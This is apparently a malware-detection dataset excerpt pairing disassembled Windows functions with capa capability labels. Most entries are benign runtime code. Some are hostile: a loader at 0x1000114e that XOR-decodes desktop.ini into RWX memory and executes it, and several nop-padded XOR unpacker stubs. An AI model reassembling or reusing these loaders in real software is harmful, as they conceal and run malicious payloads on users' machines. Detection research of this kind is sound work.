joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10081bd6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 8]
push 0
push 0x10012134
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10081c3c
cmp dword [ebp + 8], 1
je 0x10081c14
cmp dword [ebp + 8], 2
je 0x10081c14
push 0xd
pop eax
jmp 0x10081c3c
mov eax, dword [ebp - 4]
test edi, edi
je 0x10081c36
test eax, eax
je 0x10081c31
test al, 1
jne 0x10081c0f
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x10081c36
jmp 0x10081c0f
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 4

Function at 0x10084b58
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100b8210]
jne 0x10084b62
repz ret
jmp fcn.10088184

Function at 0x1008e42c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100b8210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10086dd8
and dword [ebp - 0x14], 0
cmp dword [0x100c29f4], 0
mov dword [ebp - 0x18], eax
jne 0x1008e4df
push 0x100030bc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1008e587
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100030b0
push ebx
call edi
test eax, eax
je 0x1008e587
mov esi, dword [fcn.10001074]
push eax
call esi
push 0x100030a0
push ebx
mov dword [0x100c29f4], eax
call edi
push eax
call esi
push 0x1000308c
push ebx
mov dword [0x100c29f8], eax
call edi
push eax
call esi
push 0x10003070
push ebx
mov dword [0x100c29fc], eax
call edi
push eax
call esi
mov dword [0x100c2a04], eax
test eax, eax
je 0x1008e4df
push 0x10003058
push ebx
call edi
push eax
call esi
mov dword [0x100c2a00], eax
mov eax, dword [0x100c2a00]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.10001070]
cmp eax, ecx
je 0x1008e538
cmp dword [0x100c2a04], ecx
je 0x1008e538
push eax
call esi
push dword [0x100c2a04]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1008e538
test ebx, ebx
je 0x1008e538
call edi
test eax, eax
je 0x1008e52f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1008e52f
test byte [ebp - 8], 1
jne 0x1008e538
or dword [ebp + 0x10], 0x200000
jmp 0x1008e56b
mov eax, dword [0x100c29f8]
cmp eax, dword [ebp - 0x18]
je 0x1008e56b
push eax
call esi
test eax, eax
je 0x1008e56b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1008e56b
mov eax, dword [0x100c29fc]
cmp eax, dword [ebp - 0x18]
je 0x1008e56b
push eax
call esi
test eax, eax
je 0x1008e56b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100c29f4]
call esi
test eax, eax
je 0x1008e587
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1008e589
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10084b58
leave
ret
Function at 0x10090980
Capabilities:
Hash data using sha256

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], ecx
pop ebp
ret 4
Function at 0x10091600
Capabilities:
Hash data using sha256

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x100b8210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x24]
push edi
mov ecx, ebx
and ecx, 0x3f
mov edi, 0x40
sub edi, ecx
cmp edi, 8
mov dword [ebp - 0x50], eax
ja 0x10091635
add edi, 0x40
lea edx, [edi - 8]
push edx
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.100882c0
mov ecx, dword [esi + 0x20]
add ecx, ecx
add ecx, ecx
add ecx, ecx
mov edx, ebx
shr edx, 0x1d
or ecx, edx
add esp, 0xc
mov dword [ebp - 0x58], ecx
push 2
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp + edi - 0x54]
lea eax, [ebx*8]
push edx
mov byte [ebp - 0x4c], 0x80
mov dword [ebp - 0x54], eax
call fcn.100916f0
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
call fcn.100914f0
mov ecx, dword [ebp - 0x50]
push 8
push esi
push ecx
call fcn.100916f0
xor eax, eax
push 0x40
mov dword [esi], 0x6a09e667
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
push eax
add esi, 0x28
push esi
call fcn.100882c0
mov ecx, dword [ebp - 4]
add esp, 0xc
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10084b58
mov esp, ebp
pop ebp
ret 8

Function at 0x1009d23e
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x1009d279
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x1009d260
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x1009d271
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x1009d27b
inc edi
add eax, 0x28
cmp edi, esi
jb 0x1009d256
xor eax, eax
pop edi
pop esi
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x3ebb4932
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, str._qq
mov ebx, 0x4304d8
nop
mov ecx, 0x716158c6
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x45f769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x463190
cmp edx, dword [eax]
je 0x45f78b
add eax, 8
inc ecx
cmp eax, 0x463220
jl 0x45f77c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x463190]
jne 0x45f8b9
mov eax, dword [0x463bb0]
cmp eax, 1
je 0x45f893
test eax, eax
jne 0x45f7bc
cmp dword [0x4630e4], 1
je 0x45f893
cmp edx, 0xfc
je 0x45f8b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x45f7f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00460670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00460490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x45f836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00460490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x46245c
push edi
call fcn.00460f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00460670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00460680
lea eax, [ebp - 0xa0]
push 0x46243c
push eax
call fcn.00460680
push dword [esi + 0x463194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00460680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00460e75
add esp, 0x2c
pop edi
jmp 0x45f8b9
lea eax, [ebp + 8]
lea esi, [esi + 0x463194]
push 0
push eax
push dword [esi]
call fcn.00460490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4060b6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004021ba
and dword [ebp - 4], 0
cmp dword [0x40b654], 0
mov ebx, eax
jne 0x406167
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406218
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406218
push eax
call fcn.00402148
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b654], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b658], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b65c], eax
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b664], eax
test eax, eax
je 0x406167
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b660], eax
mov eax, dword [0x40b660]
cmp eax, ebx
je 0x4061bf
cmp dword [0x40b664], ebx
je 0x4061bf
push eax
call fcn.004021c3
push dword [0x40b664]
mov esi, eax
call fcn.004021c3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061bf
test edi, edi
je 0x4061bf
call esi
test eax, eax
je 0x4061b6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061b6
test byte [ebp - 0xc], 1
jne 0x4061bf
or dword [ebp + 0x10], 0x200000
jmp 0x4061f8
mov eax, dword [0x40b658]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4061f8
mov eax, dword [0x40b65c]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b654]
call fcn.004021c3
pop ecx
test eax, eax
je 0x406218
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40621a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3e7a5b88
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x69470e1a
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406770
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push 0
lea eax, [esp + 8]
mov esi, ecx
push eax
push 2
push 0x46e5e4
push dword [esi + 0x9c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 0x7c]
call fcn.004486b7
mov ecx, dword [esi + 0x94]
add esp, 4
cmp ecx, 0xf
jbe 0x4067db
mov eax, dword [esi + 0x80]
inc ecx
cmp ecx, 0x1000
jb 0x4067d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40685a
mov eax, edx
push ecx
push eax
call fcn.00448427
add esp, 8
mov dword [esi + 0x90], 0
mov dword [esi + 0x94], 0xf
mov byte [esi + 0x80], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 7
jbe 0x40682b
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x406821
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40685a
mov eax, edx
push ecx
push eax
call fcn.00448427
add esp, 8
xor eax, eax
mov dword [esi + 0x10], 0
test byte [esp + 0xc], 1
mov dword [esi + 0x14], 7
mov word [esi], ax
je 0x406853
push pe_nt_image_headers32
push esi
call fcn.00448427
add esp, 8
mov eax, esi
pop esi
pop ecx
ret 4
call fcn.0044d0af
int3
Function at 0x40c060
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ecx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, ecx
cmp byte [esi + 0x18], 0
push edi
lea edi, [esi + 0x18]
je 0x40c0c6
push ebx
push 0x46e5e8
push edi
call fcn.0044d3ef
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40c0a0
push 0x74
push 0x46e5ec
push ebx
call fcn.0040d200
push ebx
call fcn.0044d225
add esp, 0x10
push 0x64
call ebp
push 0x46e5f0
push edi
call fcn.0044d3ef
add esp, 8
pop ebx
test eax, eax
je 0x40c0c6
push eax
call fcn.0044d225
push edi
call fcn.0044d60e
add esp, 8
cmp dword [esi + 0xa8], 0
je 0x40c134
push dword [esi + 0xb0]
push 1
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x64
call ebp
push 0
lea eax, [esp + 0x10]
push eax
push 2
push 0x46e5e4
push dword [esi + 0x9c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x64
call ebp
push 0
push dword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x44
lea eax, [esi + 0xb8]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [esi + 0xa8], xmm0
call fcn.00449d90
add esp, 0xc
mov dword [esi + 0xfc], 0
pop edi
pop esi
pop ebp
pop ecx
ret

Function at 0x4111c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46a330
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4825c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ebx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
push 8
mov dword [ebx], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.004483f7
mov edi, eax
add esp, 4
test edi, edi
je 0x41126d
push 1
mov dword [ebp - 4], 0
call fcn.00446c32
add esp, 4
mov dword [edi + 4], eax
jmp 0x41126f
xor edi, edi
mov ecx, esi
mov dword [esi + 0x34], edi
call fcn.00406c50
mov dword [esi + 0xc], ebx
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x14]
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
lea edx, [esi + 0x18]
mov byte [esi + 0x48], 0
lea edi, [esi + 0x24]
mov byte [esi + 0x3d], 0
lea ebx, [esi + 0x28]
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x20], edx
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], ebx
mov dword [eax], 0
mov dword [edx], 0
mov dword [esi + 0x28], 0
mov dword [esi + 4], 0
mov dword [ecx], 0
mov dword [edi], 0
mov dword [esi + 0x4c], 0
mov eax, dword [0x483b4c]
mov ecx, dword [0x483b50]
mov dword [esi + 0x40], eax
mov eax, esi
mov dword [esi + 0x44], ecx
mov dword [esi + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4117f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46a444
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4825c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
call fcn.0043c050
mov dword [edi], vtable.CFrame.0
lea esi, [edi + 0x78]
push 8
mov dword [ebp - 4], 0
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
call fcn.004483f7
add esp, 4
mov dword [eax + 4], 0
mov dword [esi], eax
mov dword [eax], esi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [edi + 0xb0], xmm0
mov dword [edi + 0xc0], 0
mov dword [edi + 0xc4], 7
mov word [edi + 0xb0], ax
movups xmmword [edi + 0xc8], xmm0
mov dword [edi + 0xd8], eax
mov dword [edi + 0xdc], 7
mov word [edi + 0xc8], ax
mov byte [ebp - 4], 3
mov byte [edi + 0x15d], al
mov byte [edi + 0x164], al
mov dword [edi + 0x30], eax
mov dword [edi + 0x2c], eax
call fcn.0043fbf0
mov ecx, edi
call fcn.00418870
mov ecx, edi
call fcn.0041a080
push dword [edi + 0x60]
mov ecx, edi
mov dword [edi + 0x160], 1
push dword [edi + 0x5c]
push dword [edi + 0x58]
push dword [edi + 0x54]
call fcn.004404c0
mov ecx, edi
call fcn.00445ba0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41b150
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [esp + 0x14]
test eax, eax
jg 0x41b171
jl 0x41b167
test esi, esi
jne 0x41b171
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ecx
ret 0xc
cmp dword [ebx + 0x38], 0
push ebp
push edi
mov edi, esi
je 0x41b224
mov ebp, eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
nop dword [eax]
mov ecx, ebx
call fcn.00406c20
mov esi, eax
mov eax, edx
mov dword [esp + 0x10], eax
test eax, eax
jl 0x41b1e1
jg 0x41b1a9
test esi, esi
je 0x41b1e1
cmp ebp, eax
jg 0x41b1b9
jl 0x41b1b3
cmp edi, esi
jae 0x41b1b9
mov esi, edi
mov dword [esp + 0x10], ebp
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push dword [esp + 0x20]
call fcn.00449810
mov eax, dword [ebx + 0x2c]
add esp, 0xc
sub edi, esi
sbb ebp, dword [esp + 0x10]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov eax, dword [esp + 0x18]
jmp 0x41b200
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov ecx, eax
cmp ecx, 0xffffffff
je 0x41b210
mov eax, dword [esp + 0x18]
add edi, 0xffffffff
mov esi, 1
adc ebp, 0xffffffff
mov byte [eax], cl
add eax, esi
mov dword [esp + 0x18], eax
test ebp, ebp
jg 0x41b190
jl 0x41b210
test edi, edi
jne 0x41b190
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
sub eax, edi
pop edi
sbb edx, ebp
pop ebp
pop esi
pop ebx
pop ecx
ret 0xc
mov eax, dword [ebx + 0x1c]
mov ebp, dword [esp + 0x18]
mov edx, dword [eax]
test edx, edx
je 0x41b269
mov eax, dword [ebx + 0x2c]
lea ecx, [ebx + 0x2c]
mov dword [esp + 0x10], ecx
mov eax, dword [eax]
test eax, eax
je 0x41b270
mov edi, dword [esp + 0x1c]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ebp
call fcn.00449810
mov eax, dword [ebx + 0x2c]
add ebp, esi
sub edi, esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [esp + 0x1c]
jmp 0x41b270
lea eax, [ebx + 0x2c]
mov dword [esp + 0x10], eax
cmp dword [ebx + 0x4c], 0
je 0x41b2d9
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x41b29a
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
mov dword [eax], edx
cmp edi, 0xfff
jbe 0x41b2c4
push dword [ebx + 0x4c]
push 0xfff
push 1
push ebp
call fcn.00450e53
add esp, 0x10
add ebp, eax
sub edi, eax
cmp eax, 0xfff
jne 0x41b2d9
cmp edi, eax
ja 0x41b2a2
test edi, edi
je 0x41b2d9
push dword [ebx + 0x4c]
push edi
push 1
push ebp
call fcn.00450e53
add esp, 0x10
sub edi, eax
mov edx, dword [esp + 0x20]
sub esi, edi
pop edi
pop ebp
mov eax, esi
sbb edx, 0
pop esi
pop ebx
pop ecx
ret 0xc
Function at 0x437490
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46c54d
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x4825c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0043cb10
add esp, 4
mov ecx, dword [ebp - 0x18]
mov eax, 0x7ffffffe
sub eax, ecx
mov dword [ebp - 4], 0
cmp eax, 0x18
jb 0x4375c3
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
push 0x18
cmova eax, dword [ebp - 0x28]
push str.docman_camlindex.html
push ecx
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
call fcn.004017a0
cmp dword [ebp - 0x14], 7
lea ecx, [ebp - 0x28]
push 5
cmova ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 7
push ecx
cmova eax, dword [ebp - 0x40]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 0x2c]
cmp ecx, 7
jbe 0x437560
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x437556
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4375c8
push ecx
push edx
call fcn.00448427
add esp, 8
mov ecx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 7
jbe 0x4375aa
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4375a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4375c8
push ecx
push edx
call fcn.00448427
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00448686
mov esp, ebp
pop ebp
ret
call fcn.00401e50
call fcn.0044d0af
int3

Function at 0x4379c0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, str.cygwin1.dll
cmp dword [eax + 0x14], 7
jbe 0x4379d3
mov eax, dword [eax]
push 0x470974
push eax
call fcn.0044d3cd
mov edi, eax
add esp, 8
test edi, edi
jne 0x4379ea
pop edi
pop esi
ret
push edi
push 1
lea eax, [esp + 0x14]
push 1
push eax
call fcn.00450e53
add esp, 0x10
cmp eax, 1
jne 0x437a2c
mov al, byte [esi]
test al, al
je 0x437a2c
cmp al, byte [esp + 0xc]
je 0x437a14
mov esi, str.cygwin1.dll
jmp 0x437a15
inc esi
push edi
push 1
lea eax, [esp + 0x14]
push 1
push eax
call fcn.00450e53
add esp, 0x10
cmp eax, 1
je 0x437a01
push edi
call fcn.0044d225
add esp, 4
xor eax, eax
cmp byte [esi], al
sete al
pop edi
pop esi
ret